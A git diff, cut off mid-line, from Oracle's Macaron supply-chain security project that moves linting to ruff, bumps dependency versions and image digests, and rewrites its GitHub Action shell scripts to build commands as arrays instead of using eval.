diff --git a/.github/workflows/_build.yaml b/.github/workflows/_build.yaml index 74931da2d..6220736d9 100644 --- a/.github/workflows/_build.yaml +++ b/.github/workflows/_build.yaml @@ -128,14 +128,18 @@ jobs: echo "Digest of artifacts is $DIGEST." echo "artifacts-sha256=$DIGEST" >> "$GITHUB_OUTPUT" - # For now only generate artifacts for the specified OS and Python version in env variables. - # Currently reusable workflows do not support setting strategy property from the caller workflow. + # For now only generate artifacts for the specified OS and Python version in env + # variables. Currently reusable workflows do not support setting strategy property + # from the caller workflow. Furthermore, add only top-level files as artifacts; + # do not copy the generated simple-index/ folder. - name: Upload the package artifact for debugging and release if: matrix.os == env.ARTIFACT_OS && matrix.python == env.ARTIFACT_PYTHON uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f # v7.0.0 with: name: artifact-${{ matrix.os }}-python-${{ matrix.python }} - path: dist + path: | + dist/*.* + !dist/simple-index if-no-files-found: error retention-days: 7 diff --git a/.github/workflows/macaron-analysis.yaml b/.github/workflows/macaron-analysis.yaml index 97493870f..24af5fd55 100644 --- a/.github/workflows/macaron-analysis.yaml +++ b/.github/workflows/macaron-analysis.yaml @@ -35,9 +35,9 @@ jobs: # Note: adjust the policy_purl to refer to your repository URL. - name: Run Macaron action id: run_macaron - uses: oracle/macaron@b31acfe389133a5587d9639063ec70cb84e7bc47 # v0.23.0 + uses: oracle/macaron@4ddb55e3c9ef2c77b548be55c557078c4476fd9c # v0.24.0 with: repo_path: ./ policy_file: check-github-actions policy_purl: pkg:github.com/oracle/macaron@.* - reports_retention_days: 90 + reports_retention_days: 3 diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 5f624c4d3..aca831163 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -23,52 +23,14 @@ repos: name: Check conventional commit message stages: [commit-msg] -# Sort imports. -- repo: https://github.com/pycqa/isort - rev: 8.0.1 +# Ruff formats and lints code. +- repo: https://github.com/astral-sh/ruff-pre-commit + rev: v0.15.20 hooks: - - id: isort - name: Sort import statements - args: [--settings-path, pyproject.toml] - exclude: ^tests/malware_analyzer/pypi/resources/sourcecode_samples.* - -# Add Black code formatters. -- repo: https://github.com/ambv/black - rev: 26.3.1 - hooks: - - id: black - name: Format code - args: [--config, pyproject.toml, --target-version, py311] - exclude: ^tests/malware_analyzer/pypi/resources/sourcecode_samples.* -- repo: https://github.com/asottile/blacken-docs - rev: 1.20.0 - hooks: - - id: blacken-docs - name: Format code in docstrings - args: [--line-length, '120'] - additional_dependencies: [black==26.3.1] - -# Upgrade and rewrite Python idioms. -- repo: https://github.com/asottile/pyupgrade - rev: v3.21.2 - hooks: - - id: pyupgrade - name: Upgrade code idioms - files: ^src/macaron/|^tests/ - args: [--py311-plus] - -# Similar to pylint, with a few more/different checks. For more available -# extensions: https://github.com/DmytroLitvinov/awesome-flake8-extensions -- repo: https://github.com/pycqa/flake8 - rev: 7.3.0 - hooks: - - id: flake8 - name: Check flake8 issues - files: ^src/macaron/|^tests/ - types: [text, python] - additional_dependencies: [flake8-bugbear==25.11.29, flake8-builtins==3.1.0, flake8-comprehensions==3.17.0, flake8-docstrings==1.7.0, flake8-logging==1.8.0, flake8-mutable==1.2.0, flake8-noqa==1.5.0, flake8-print==5.0.0, flake8-pytest-style==2.2.0, flake8-rst-docstrings==0.4.0, pep8-naming==0.15.1] - exclude: ^tests/malware_analyzer/pypi/resources/sourcecode_samples.* - args: [--config, .flake8] + - id: ruff-format + args: [--config, pyproject.toml] + - id: ruff-check + args: [--config, pyproject.toml, --fix, --unsafe-fixes, --exit-non-zero-on-fix] # Check GitHub Actions workflow files. - repo: https://github.com/Mateusz-Grzelinski/actionlint-py @@ -108,18 +70,6 @@ repos: exclude: ^tests/malware_analyzer/pypi/resources/sourcecode_samples.* args: [--show-traceback, --config-file, pyproject.toml] -# Check for potential security issues. -- repo: https://github.com/PyCQA/bandit - rev: 1.9.4 - hooks: - - id: bandit - name: Check for security issues - args: [--configfile, pyproject.toml] - files: ^src/macaron/|^tests/ - types: [text, python] - additional_dependencies: ['bandit[toml]'] - exclude: ^tests/malware_analyzer/pypi/resources/sourcecode_samples.* - # Enable a whole bunch of useful helper hooks, too. # See https://pre-commit.com/hooks.html for more hooks. - repo: https://github.com/pre-commit/pre-commit-hooks diff --git a/Makefile b/Makefile index eab43abb3..ecfd3c2eb 100644 --- a/Makefile +++ b/Makefile @@ -301,23 +301,24 @@ requirements.txt: pyproject.toml # a PyPI entry; also print out CVE description and potential fixes if audit # found an issue. If an advisory needs to be ignored, use the --ignore-vuln option. # -# Remove GHSA-vfmq-68hx-4jfw when the following issue is resolved to be able to -# install the latest version of lxml. -# https://github.com/semgrep/semgrep/issues/11630 +# GHSA-hvrp-rf83-w775 ignore-vuln GHSA-jpw9-pfvf-9f58, and ignore-vuln GHSA-vj7q-gjh5-988w are advisories +# for the mcp package, which is a dependency of semgrep and we cannot update it outselves. Macaron does +# not use this transitive dependency and we can ignore them for now. Remove them when semgrep is updated and uses +# a fixed version of mcp. + .PHONY: audit audit: if ! $$(python -c "import pip_audit" &> /dev/null); then \ echo "No package pip_audit installed, upgrade your environment!" && exit 1; \ fi; - python -m pip_audit --skip-editable --desc on --fix --dry-run --ignore-vuln GHSA-vfmq-68hx-4jfw + python -m pip_audit --skip-editable --desc on --fix --dry-run \ + --ignore-vuln GHSA-hvrp-rf83-w775 --ignore-vuln GHSA-jpw9-pfvf-9f58 --ignore-vuln GHSA-vj7q-gjh5-988w # Run some or all checks over the package code base. -.PHONY: check check-code check-bandit check-flake8 check-lint check-mypy check-go check-actionlint -check-code: check-bandit check-flake8 check-lint check-mypy check-go check-actionlint -check-bandit: - pre-commit run bandit --all-files -check-flake8: - pre-commit run flake8 --all-files +.PHONY: check check-code check-ruff check-lint check-mypy check-go check-actionlint +check-code: check-ruff check-lint check-mypy check-go check-actionlint +check-ruff: + pre-commit run ruff-check --all-files check-lint: pre-commit run pylint --all-files check-mypy: diff --git a/README.md b/README.md index 374613e12..70b57a6ec 100644 --- a/README.md +++ b/README.md @@ -14,13 +14,12 @@ Use Macaron as a GitHub Action To use the Macaron GitHub Action, add the following step to your workflow (adjust the version as needed). In this example, we use an example policy. For detailed instructions and a comprehensive list of available options, please refer to the [Macaron GitHub Action documentation](https://oracle.github.io/macaron/pages/macaron_action.html). ```yaml -- uses: oracle/macaron@b31acfe389133a5587d9639063ec70cb84e7bc47 # v0.23.0 +- uses: oracle/macaron@4ddb55e3c9ef2c77b548be55c557078c4476fd9c # v0.24.0 with: - repo_path: 'https://github.com/example/project' + repo_path: ./ policy_file: check-github-actions policy_purl: 'pkg:github.com/example/project@.*' output_dir: 'macaron-output' - upload_attestation: true ``` For detailed instructions and a comprehensive list of available options, please refer to the [Macaron GitHub Action documentation](https://oracle.github.io/macaron/pages/macaron_action.html). diff --git a/docker/Dockerfile.base b/docker/Dockerfile.base index 4e22eeb86..279a9ddf4 100644 --- a/docker/Dockerfile.base +++ b/docker/Dockerfile.base @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. # This Dockerfile is for building the base image which contains the necessary components @@ -9,7 +9,15 @@ # Souffle 2.5 compiled and installed from source. # Other runtime libraries (e.g sqlite-devel) which are installed from dnf. -FROM container-registry.oracle.com/os/oraclelinux:9-slim@sha256:41a867b7f24306cf38c01ba578598164397bd07aa26dbdc9a985bedd9177e82e +# To update this digest without Docker Hub or a container runtime, query Oracle Container Registry directly: +# +# token="$(curl -fsS 'https://container-registry.oracle.com/auth?service=Oracle%20Registry&scope=repository%3Aos%2Foraclelinux%3Apull' | sed -E 's/.*"token":"([^"]+)".*/\1/')" +# curl -fsSI -H "Authorization: Bearer $token" -H 'Accept: application/vnd.oci.image.index.v1+json' \ +# 'https://container-registry.oracle.com/v2/os/oraclelinux/manifests/9-slim' | tr -d '\r' | \ +# awk 'BEGIN { IGNORECASE=1 } /^docker-content-digest:/ { print $2 }' +# +# Use the returned OCI index digest (not an architecture-specific manifest digest) to preserve multi-architecture builds. +FROM container-registry.oracle.com/os/oraclelinux:9-slim@sha256:dd5635f6388c828445d00b223ccd0b6aae30fe05b37981cac754840ef1d5382d ENV HOME="/home/macaron" \ # Setting Python related environment variables. diff --git a/docker/Dockerfile.final b/docker/Dockerfile.final index 44f59f7b6..1ac0e0093 100644 --- a/docker/Dockerfile.final +++ b/docker/Dockerfile.final @@ -11,7 +11,7 @@ # Note that the local machine must login to ghcr.io so that Docker could pull the ghcr.io/oracle/macaron-base # image for this build. -FROM ghcr.io/oracle/macaron-base:latest@sha256:6d1d300d32060a75deffd2e6fce00e9f6d646df233f8df4deee2baf2982cf022 +FROM ghcr.io/oracle/macaron-base:latest@sha256:a64fcba81568b6063dfc5433a9a8a7fe47d8220b03e91752679dba5b44fb6f9d ENV HOME="/home/macaron" diff --git a/docs/source/pages/cli_usage/command_gen_build_spec.rst b/docs/source/pages/cli_usage/command_gen_build_spec.rst index a310fe15d..3e3940965 100644 --- a/docs/source/pages/cli_usage/command_gen_build_spec.rst +++ b/docs/source/pages/cli_usage/command_gen_build_spec.rst @@ -47,4 +47,10 @@ Options Build Specification Schema -------------------------- -The corresponding JSON schema is available in the `resources directory `_ of the repository. Be sure to use the schema that matches your Macaron release by selecting the appropriate GitHub tag. +The corresponding JSON schema is available in the +`resources directory `_ +of the repository. The schema is accompanied by +`BuildSpec schema notes `_ +that explain the field semantics, especially ``build_commands`` and its +subfields. Be sure to use the schema and notes that match your Macaron release +by selecting the appropriate GitHub tag. diff --git a/docs/source/pages/macaron_action.rst b/docs/source/pages/macaron_action.rst index f7fcb2e44..a16591e8c 100644 --- a/docs/source/pages/macaron_action.rst +++ b/docs/source/pages/macaron_action.rst @@ -24,12 +24,12 @@ When you use this action, you can reference it directly in your workflow. For a steps: - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - name: Run Macaron Security Analysis Action - uses: oracle/macaron@b31acfe389133a5587d9639063ec70cb84e7bc47 # v0.23.0 + uses: oracle/macaron@4ddb55e3c9ef2c77b548be55c557078c4476fd9c # v0.24.0 with: repo_path: ./ policy_file: check-github-actions policy_purl: 'pkg:github.com/example/project@.*' - reports_retention_days: 90 + reports_retention_days: 3 By default, the action posts a human-friendly results summary to the GitHub Actions run page (job summary). If you upload the results like in this `workflow `_, check this :ref:`documentation ` to see how to read and understand them. diff --git a/go.mod b/go.mod index 36f40d378..d6c83f718 100644 --- a/go.mod +++ b/go.mod @@ -3,24 +3,22 @@ module github.com/oracle/macaron -go 1.24.0 - -toolchain go1.24.13 +go 1.25.0 require ( - cuelang.org/go v0.15.4 - mvdan.cc/sh/v3 v3.12.0 + cuelang.org/go v0.17.1 + mvdan.cc/sh/v3 v3.13.1 ) require ( - github.com/cockroachdb/apd/v3 v3.2.1 // indirect - github.com/emicklei/proto v1.14.2 // indirect + github.com/cockroachdb/apd/v3 v3.2.3 // indirect + github.com/emicklei/proto v1.14.3 // indirect github.com/google/uuid v1.6.0 // indirect github.com/mitchellh/go-wordwrap v1.0.1 // indirect - github.com/pelletier/go-toml/v2 v2.2.4 // indirect - github.com/protocolbuffers/txtpbfmt v0.0.0-20251016062345-16587c79cd91 // indirect + github.com/pelletier/go-toml/v2 v2.3.1 // indirect + github.com/protocolbuffers/txtpbfmt v0.0.0-20260420112717-c39628bde8b5 // indirect go.yaml.in/yaml/v3 v3.0.4 // indirect - golang.org/x/net v0.46.0 // indirect - golang.org/x/text v0.30.0 // indirect + golang.org/x/net v0.56.0 // indirect + golang.org/x/text v0.38.0 // indirect google.golang.org/protobuf v1.33.0 // indirect ) diff --git a/go.sum b/go.sum index 167c82781..7fa01272e 100644 --- a/go.sum +++ b/go.sum @@ -1,13 +1,13 @@ -cuelabs.dev/go/oci/ociregistry v0.0.0-20250722084951-074d06050084 h1:4k1yAtPvZJZQTu8DRY8muBo0LHv6TqtrE0AO5n6IPYs= -cuelabs.dev/go/oci/ociregistry v0.0.0-20250722084951-074d06050084/go.mod h1:4WWeZNxUO1vRoZWAHIG0KZOd6dA25ypyWuwD3ti0Tdc= -cuelang.org/go v0.15.4 h1:lrkTDhqy8dveHgX1ZLQ6WmgbhD8+rXa0fD25hxEKYhw= -cuelang.org/go v0.15.4/go.mod h1:NYw6n4akZcTjA7QQwJ1/gqWrrhsN4aZwhcAL0jv9rZE= -github.com/cockroachdb/apd/v3 v3.2.1 h1:U+8j7t0axsIgvQUqthuNm82HIrYXodOV2iWLWtEaIwg= -github.com/cockroachdb/apd/v3 v3.2.1/go.mod h1:klXJcjp+FffLTHlhIG69tezTDvdP065naDsHzKhYSqc= -github.com/emicklei/proto v1.14.2 h1:wJPxPy2Xifja9cEMrcA/g08art5+7CGJNFNk35iXC1I= -github.com/emicklei/proto v1.14.2/go.mod h1:rn1FgRS/FANiZdD2djyH7TMA9jdRDcYQ9IEN9yvjX0A= -github.com/go-quicktest/qt v1.101.0 h1:O1K29Txy5P2OK0dGo59b7b0LR6wKfIhttaAhHUyn7eI= -github.com/go-quicktest/qt v1.101.0/go.mod h1:14Bz/f7NwaXPtdYEgzsx46kqSxVwTbzVZsDC26tQJow= +cuelabs.dev/go/oci/ociregistry v0.0.0-20260601085548-328ff8e2c943 h1:XUtzi/yWlmuy8V6kkmVbbmirmUqcFe9Ce3gmEaHXf1Q= +cuelabs.dev/go/oci/ociregistry v0.0.0-20260601085548-328ff8e2c943/go.mod h1:WjmQxb+W6nVNCgj8nXrF24lIz95AHwnSl36tpjDZSU8= +cuelang.org/go v0.17.1 h1:liOkxZDqTHrzq0USJX+6bMYOZ5PSf+wzvQr15AHpDCQ= +cuelang.org/go v0.17.1/go.mod h1:xlly/o1wSLvxOsi5vkQGieU0rLOt7TvUIizOFtnxHRU= +github.com/cockroachdb/apd/v3 v3.2.3 h1:4Zx+I3R35bFXMnltzmjP79i2cravE4jTRL6ps9Aux80= +github.com/cockroachdb/apd/v3 v3.2.3/go.mod h1:klXJcjp+FffLTHlhIG69tezTDvdP065naDsHzKhYSqc= +github.com/emicklei/proto v1.14.3 h1:zEhlzNkpP8kN6utonKMzlPfIvy82t5Kb9mufaJxSe1Q= +github.com/emicklei/proto v1.14.3/go.mod h1:rn1FgRS/FANiZdD2djyH7TMA9jdRDcYQ9IEN9yvjX0A= +github.com/go-quicktest/qt v1.102.0 h1:HSQxCeh5YZH3EL3W39ixjtyaEhcWSXQHtHnMBzSs474= +github.com/go-quicktest/qt v1.102.0/go.mod h1:p4lGIVX+8Wa6ZPNDvqcxq36XpUDLh42FLetFU7odllI= github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= @@ -26,30 +26,30 @@ github.com/opencontainers/go-digest v1.0.0 h1:apOUWs51W5PlhuyGyz9FCeeBIOUDA/6nW8 github.com/opencontainers/go-digest v1.0.0/go.mod h1:0JzlMkj0TRzQZfJkVvzbP0HBR3IKzErnv2BNG4W4MAM= github.com/opencontainers/image-spec v1.1.1 h1:y0fUlFfIZhPF1W537XOLg0/fcx6zcHCJwooC2xJA040= github.com/opencontainers/image-spec v1.1.1/go.mod h1:qpqAh3Dmcf36wStyyWU+kCeDgrGnAve2nCC8+7h8Q0M= -github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4= -github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY= -github.com/protocolbuffers/txtpbfmt v0.0.0-20251016062345-16587c79cd91 h1:s1LvMaU6mVwoFtbxv/rCZKE7/fwDmDY684FfUe4c1Io= -github.com/protocolbuffers/txtpbfmt v0.0.0-20251016062345-16587c79cd91/go.mod h1:JSbkp0BviKovYYt9XunS95M3mLPibE9bGg+Y95DsEEY= -github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ= -github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc= +github.com/pelletier/go-toml/v2 v2.3.1 h1:MYEvvGnQjeNkRF1qUuGolNtNExTDwct51yp7olPtrEc= +github.com/pelletier/go-toml/v2 v2.3.1/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY= +github.com/protocolbuffers/txtpbfmt v0.0.0-20260420112717-c39628bde8b5 h1:Mckui8l+Wqz2Ve7XQvsE8SbHNmDWu8NA7Xce5NFJ/kM= +github.com/protocolbuffers/txtpbfmt v0.0.0-20260420112717-c39628bde8b5/go.mod h1:JSbkp0BviKovYYt9XunS95M3mLPibE9bGg+Y95DsEEY= +github.com/rogpeppe/go-internal v1.15.0 h1:D0RCU5rMAp+SpgkiNdrjfJ+LX4J1M32V2NeCY7EJ6hc= +github.com/rogpeppe/go-internal v1.15.0/go.mod h1:DrUVZyrJU+txYW5/1kwtXQSMFio52ZOxX7yM1VHvnxs= go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc= go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= -golang.org/x/mod v0.29.0 h1:HV8lRxZC4l2cr3Zq1LvtOsi/ThTgWnUk/y64QSs8GwA= -golang.org/x/mod v0.29.0/go.mod h1:NyhrlYXJ2H4eJiRy/WDBO6HMqZQ6q9nk4JzS3NuCK+w= -golang.org/x/net v0.46.0 h1:giFlY12I07fugqwPuWJi68oOnpfqFnJIJzaIIm2JVV4= -golang.org/x/net v0.46.0/go.mod h1:Q9BGdFy1y4nkUwiLvT5qtyhAnEHgnQ/zd8PfU6nc210= -golang.org/x/oauth2 v0.32.0 h1:jsCblLleRMDrxMN29H3z/k1KliIvpLgCkE6R8FXXNgY= -golang.org/x/oauth2 v0.32.0/go.mod h1:lzm5WQJQwKZ3nwavOZ3IS5Aulzxi68dUSgRHujetwEA= -golang.org/x/sync v0.17.0 h1:l60nONMj9l5drqw6jlhIELNv9I0A4OFgRsG9k2oT9Ug= -golang.org/x/sync v0.17.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI= -golang.org/x/text v0.30.0 h1:yznKA/E9zq54KzlzBEAWn1NXSQ8DIp/NYMy88xJjl4k= -golang.org/x/text v0.30.0/go.mod h1:yDdHFIX9t+tORqspjENWgzaCVXgk0yYnYuSZ8UzzBVM= -golang.org/x/tools v0.38.0 h1:Hx2Xv8hISq8Lm16jvBZ2VQf+RLmbd7wVUsALibYI/IQ= -golang.org/x/tools v0.38.0/go.mod h1:yEsQ/d/YK8cjh0L6rZlY8tgtlKiBNTL14pGDJPJpYQs= +golang.org/x/mod v0.37.0 h1:vF1DjpVEshcIqoEaauuHebaLk1O1forxjxBaVn884JQ= +golang.org/x/mod v0.37.0/go.mod h1:m8S8VeM9r4dzDwjrKO0a1sZP3YjeMamRRlD+fmR2Q/0= +golang.org/x/net v0.56.0 h1:Rw8j/hFzGvJUZwNBXnAtf5sVDVt+65SK2C7IxCxZt5o= +golang.org/x/net v0.56.0/go.mod h1:D3Ku6r+V6JROoZK144D2XfMHFcMq/0zSfLelVTCFKec= +golang.org/x/oauth2 v0.36.0 h1:peZ/1z27fi9hUOFCAZaHyrpWG5lwe0RJEEEeH0ThlIs= +golang.org/x/oauth2 v0.36.0/go.mod h1:YDBUJMTkDnJS+A4BP4eZBjCqtokkg1hODuPjwiGPO7Q= +golang.org/x/sync v0.21.0 h1:HLII4xRRTtCRkxYp4HNFF0Js/Og6q2i++KXbg0gHCwM= +golang.org/x/sync v0.21.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= +golang.org/x/text v0.38.0 h1:sXmwo9DwP3OK9EZ7PqAdaooSGozfl/3a6/xJcbzPRhE= +golang.org/x/text v0.38.0/go.mod h1:YXZt3QhHUKYT53r2lLKFIVi6Ao1jdzrTR/KQ09qyxF4= +golang.org/x/tools v0.45.0 h1:18qN3FAooORvApf5XjCXgsuayZOEtXf6JK18I3+ONa8= +golang.org/x/tools v0.45.0/go.mod h1:LuUGqqaXcXMEFEruIVJVm5mgDD8vww/z/SR1gQ4uE/0= google.golang.org/protobuf v1.33.0 h1:uNO2rsAINq/JlFpSdYEKIZ0uKD/R9cpdv0T+yoGwGmI= google.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -mvdan.cc/sh/v3 v3.12.0 h1:ejKUR7ONP5bb+UGHGEG/k9V5+pRVIyD+LsZz7o8KHrI= -mvdan.cc/sh/v3 v3.12.0/go.mod h1:Se6Cj17eYSn+sNooLZiEUnNNmNxg0imoYlTu4CyaGyg= +mvdan.cc/sh/v3 v3.13.1 h1:DP3TfgZhDkT7lerUdnp6PTGKyxxzz6T+cOlY/xEvfWk= +mvdan.cc/sh/v3 v3.13.1/go.mod h1:lXJ8SexMvEVcHCoDvAGLZgFJ9Wsm2sulmoNEXGhYZD0= diff --git a/pyproject.toml b/pyproject.toml index 79654f8db..5b714de2b 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -38,8 +38,8 @@ dependencies = [ "cyclonedx-python-lib[validation] >=9.0.0,<12.0.0", "beautifulsoup4 >=4.12.0,<5.0.0", "problog >=2.2.6,<3.0.0", - "cryptography >=46.0.5,<47.0.0", - "semgrep == 1.151.0", + "cryptography >=48.0.1,<49.0.0", + "semgrep == 1.171.0", "email-validator >=2.2.0,<3.0.0", "rich >=13.5.3,<15.0.0", "lark >=1.3.0,<2.0.0", @@ -122,20 +122,6 @@ Documentation = "https://oracle.github.io/macaron/index.html" Issues = "https://github.com/oracle/macaron/issues" -# https://bandit.readthedocs.io/en/latest/config.html -# Skip test B101 because of issue https://github.com/PyCQA/bandit/issues/457 -[tool.bandit] -tests = [] -skips = ["B101"] -exclude_dirs = ["tests/malware_analyzer/pypi/resources/sourcecode_samples"] - - -# https://github.com/psf/black#configuration -[tool.black] -line-length = 120 -force-exclude = ["tests/malware_analyzer/pypi/resources/sourcecode_samples/"] - - # https://github.com/commitizen-tools/commitizen # https://commitizen-tools.github.io/commitizen/bump/ [tool.commitizen] @@ -181,15 +167,6 @@ exclude = [ ] -# https://pycqa.github.io/isort/ -[tool.isort] -profile = "black" -multi_line_output = 3 -line_length = 120 -skip_gitignore = true -filter_files = true - - # https://mypy.readthedocs.io/en/stable/config_file.html#using-a-pyproject-toml [tool.mypy] show_error_codes = true @@ -304,3 +281,75 @@ filterwarnings = [ "ignore::DeprecationWarning:cyclonedx.model.tool", "error::DeprecationWarning:pkg_resources", ] + + +# https://docs.astral.sh/ruff/formatter/ +# https://docs.astral.sh/ruff/linter/ +[tool.ruff] +line-length = 120 + +[tool.ruff.format] +exclude = [ + "tests/malware_analyzer/pypi/resources/sourcecode_samples/**/*.py", +] +docstring-code-format = true +docstring-code-line-length = 88 + +# https://docs.astral.sh/ruff/configuration/ +# https://docs.astral.sh/ruff/rules/ +[tool.ruff.lint] +exclude = ["docs/*"] +select = [ + "A", # flake8-builtins + "B", # flake8-bugbear + "C4", # flake8-comprehensions + "D", # pydocstyle + "DOC", # pydoclint + "E", # pycodestyle + "F", # pyflakes + "FURB", # refurb + "I", # isort + "ICN", # flake8-import-conventions + "LOG", # flake8-logging + "N", # pep8-naming + "PIE", # flake8-pie + "PT", # flake8-pytest-style + "PYI", # flake8-pyi + "RUF", # ruff-specific rules + "S", # flake8-bandit + "SIM", # flake8-simplify + "SLOT", # flake8-slots + "T20", # flake8-print + "UP", # pyupgrade +] +ignore = [ + "D104", # D104: Missing docstring in public package + "D105", # D105: Missing docstring in magic method + "D404", # D404: First word of the docstring should not be "This" + "E203", # E203: whitespace before ‘,’, ‘;’, or ‘:’ (not Black compliant) + "E501", # E501: line too long (managed better by Bugbear's B950) + "SIM102", # Use a single `if` statement instead of nested `if` statements +] + +[tool.ruff.lint.flake8-pytest-style] +fixture-parentheses = true + +[tool.ruff.lint.pydocstyle] +convention = "numpy" + +[tool.ruff.lint.per-file-ignores] +"tests/*" = [ + "D102", # D102: Missing docstring in public method + "D104", # D104: Missing docstring in public package + "S101", # S101 Use of `assert` detected + "T201", # T201 `print` found +] +"tests/malware_analyzer/pypi/resources/sourcecode_samples/**/*" = [ + "A", # flake8-builtins + "D", # pydocstyle + "E", # pycodestyle + "F", # pyflakes + "N", # pep8-naming + "S", # flake8-bandit + "SIM", # flake8-simplify +] diff --git a/scripts/actions/run_macaron_analysis.sh b/scripts/actions/run_macaron_analysis.sh index ccde3e646..40bb745c7 100644 --- a/scripts/actions/run_macaron_analysis.sh +++ b/scripts/actions/run_macaron_analysis.sh @@ -11,53 +11,53 @@ if [ -z "${MACARON:-}" ]; then exit 1 fi -CMD="" +CMD=("$MACARON") if [ -n "${DEFAULTS_PATH:-}" ]; then - CMD="$MACARON --defaults-path ${DEFAULTS_PATH}" -else - CMD="$MACARON" + CMD+=(--defaults-path "$DEFAULTS_PATH") fi OUTPUT_DIR=${OUTPUT_DIR:-output} -CMD="$CMD --output ${OUTPUT_DIR} -lr . analyze" +CMD+=(--output "$OUTPUT_DIR" -lr . analyze) if [ -n "${REPO_PATH:-}" ]; then - CMD="$CMD -rp ${REPO_PATH}" + CMD+=(-rp "$REPO_PATH") elif [ -n "${PACKAGE_URL:-}" ]; then - CMD="$CMD -purl ${PACKAGE_URL}" + CMD+=(-purl "$PACKAGE_URL") fi if [ -n "${BRANCH:-}" ]; then - CMD="$CMD --branch ${BRANCH}" + CMD+=(--branch "$BRANCH") fi if [ -n "${DIGEST:-}" ]; then - CMD="$CMD --digest ${DIGEST}" + CMD+=(--digest "$DIGEST") fi -CMD="$CMD --deps-depth ${DEPS_DEPTH:-0}" +CMD+=(--deps-depth "${DEPS_DEPTH:-0}") if [ -n "${SBOM_PATH:-}" ]; then - CMD="$CMD --sbom-path ${SBOM_PATH}" + CMD+=(--sbom-path "$SBOM_PATH") fi if [ -n "${PYTHON_VENV:-}" ]; then - CMD="$CMD --python-venv ${PYTHON_VENV}" + CMD+=(--python-venv "$PYTHON_VENV") fi if [ -n "${PROVENANCE_FILE:-}" ]; then - CMD="$CMD --provenance-file ${PROVENANCE_FILE}" + CMD+=(--provenance-file "$PROVENANCE_FILE") fi if [ -n "${PROVENANCE_EXPECTATION:-}" ]; then - CMD="$CMD --provenance-expectation ${PROVENANCE_EXPECTATION}" + CMD+=(--provenance-expectation "$PROVENANCE_EXPECTATION") fi -echo "Executing: $CMD" +printf 'Executing:' +printf ' %q' "${CMD[@]}" +printf '\n' output_file="$(mktemp)" set +e -eval "$CMD" 2>&1 | tee "$output_file" +"${CMD[@]}" 2>&1 | tee "$output_file" # Capture analyze command's exit code from the pipeline (index 0), then restore fail-fast mode. status=${PIPESTATUS[0]} set -e diff --git a/scripts/actions/run_macaron_policy_verification.sh b/scripts/actions/run_macaron_policy_verification.sh index 46eb9bee0..4b65552a9 100644 --- a/scripts/actions/run_macaron_policy_verification.sh +++ b/scripts/actions/run_macaron_policy_verification.sh @@ -1,6 +1,6 @@ #!/usr/bin/env bash -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. set -euo pipefail @@ -15,23 +15,28 @@ if [ -z "${MACARON:-}" ]; then exit 1 fi +run_macaron() { + printf 'Executing:' + printf ' %q' "$@" + printf '\n' + "$@" +} + DEFAULTS_PATH=${DEFAULTS_PATH:-} OUTPUT_DIR=${OUTPUT_DIR:-output} FILE=${POLICY_FILE:-} PURL=${POLICY_PURL:-} +CMD=("$MACARON") if [ -n "$DEFAULTS_PATH" ]; then - CMD="$MACARON --defaults-path ${DEFAULTS_PATH}" -else - CMD="$MACARON" + CMD+=(--defaults-path "$DEFAULTS_PATH") fi -CMD="$CMD --output ${OUTPUT_DIR} verify-policy --database ${OUTPUT_DIR}/macaron.db" +CMD+=(--output "$OUTPUT_DIR" verify-policy --database "${OUTPUT_DIR}/macaron.db") if [ -n "$FILE" ] && [ -f "$FILE" ]; then - CMD="$CMD --file $FILE" + CMD+=(--file "$FILE") - echo "Executing: $CMD" - if eval "$CMD"; then + if run_macaron "${CMD[@]}"; then echo "policy_report=${OUTPUT_DIR}/policy_report.json" >> "$GITHUB_OUTPUT" if [ -f "${OUTPUT_DIR}/vsa.intoto.jsonl" ]; then echo "vsa_report=${OUTPUT_DIR}/vsa.intoto.jsonl" >> 